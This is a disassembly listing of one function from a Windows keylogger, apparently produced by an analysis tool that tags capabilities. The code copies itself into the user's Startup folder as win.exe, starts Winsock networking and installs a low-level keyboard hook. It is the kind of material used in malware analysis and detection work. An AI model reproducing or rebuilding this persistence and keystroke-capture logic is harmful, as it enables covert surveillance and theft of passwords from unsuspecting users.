Function at 0x140001940
Capabilities:
Copy file
Get common file path
Initialize winsock library
Log keystrokes via application hook

Disassembly:
sub rsp, 0x548
mov dword [rsp + 0x544], 0
lea rdx, [rsp + 0x440]
xor eax, eax
mov ecx, eax
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp eax, 0
jne 0x14000198f
lea rcx, str.Failed_to_get_the_current_executable_path_n
call fcn.140001c70
mov dword [rsp + 0x544], 1
jmp 0x140001c11
lea rax, [rsp + 0x220]
xor ecx, ecx
mov r8d, ecx
mov edx, 0x28
xor r9d, r9d
mov rcx, r8
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 0
jl 0x140001aa1
lea r9, [rsp + 0x220]
lea rcx, [rsp + 0x330]
lea r8, str._sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupwin.exe
mov edx, 0x104
call fcn.140001ce0
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x440]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
cmp eax, 0
jne 0x140001a90
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x21c], eax
mov r8d, dword [rsp + 0x21c]
mov ecx, 0x1100
xor eax, eax
mov edx, eax
xor r9d, r9d
lea rax, [rsp + 0x210]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
cmp qword [rsp + 0x210], 0
je 0x140001a78
mov edx, dword [rsp + 0x21c]
lea rcx, str.Failed_to_copy_the_executable_to_the_Startup_folder__Error_Code:__lu__n
call fcn.140001c70
mov rcx, qword [rsp + 0x210]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001a8b
mov edx, dword [rsp + 0x21c]
lea rcx, str.Failed_to_copy_the_executable_to_the_Startup_folder__Error_Code:__lu__n
call fcn.140001c70
jmp 0x140001a9c
lea rcx, str.Copy_of_the_executable_created_in_the_Startup_folder_n
call fcn.140001c70
jmp 0x140001aa1
lea rcx, [0x140023ac0]
call fcn.140001000
mov ecx, 0x202
lea rdx, [rsp + 0x78]
call qword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0
je 0x140001ae2
lea rcx, str.Failed_to_initialize_Winsock._n
call fcn.140001c70
mov dword [rsp + 0x544], 1
jmp 0x140001c11
call fcn.140001050
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x140001b0e
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [rsp + 0x544], 1
jmp 0x140001c11
lea rcx, [0x140023ac0]
add rcx, 0x810
call fcn.140001320
mov ecx, 0xd
lea rdx, [0x140001540]
xor eax, eax
mov r8d, eax
xor r9d, r9d
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140001b72
lea rcx, str.Failed_to_set_up_the_keyboard_hook._n
call fcn.140001c70
mov rcx, qword [rsp + 0x70]
call fcn.140005d88
mov dword [rsp + 0x544], 1
jmp 0x140001c11
lea rcx, str.Keylogger_started._Press_CtrlQ_to_exit..._n
call fcn.140001c70
lea rcx, [0x140023ac0]
add rcx, 0x10
call fcn.140001320
lea rcx, [rsp + 0x38]
xor eax, eax
mov edx, eax
xor r9d, r9d
mov r8d, r9d
call qword [sym.imp.USER32.dll_GetMessageA]
cmp eax, 0
je 0x140001bc7
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140001b8e
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140023ac8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rsp + 0x70]
call fcn.140005d88
lea rcx, str.Exiting_the_program._n
call fcn.140001c70
mov dword [rsp + 0x544], 0
mov eax, dword [rsp + 0x544]
add rsp, 0x548
ret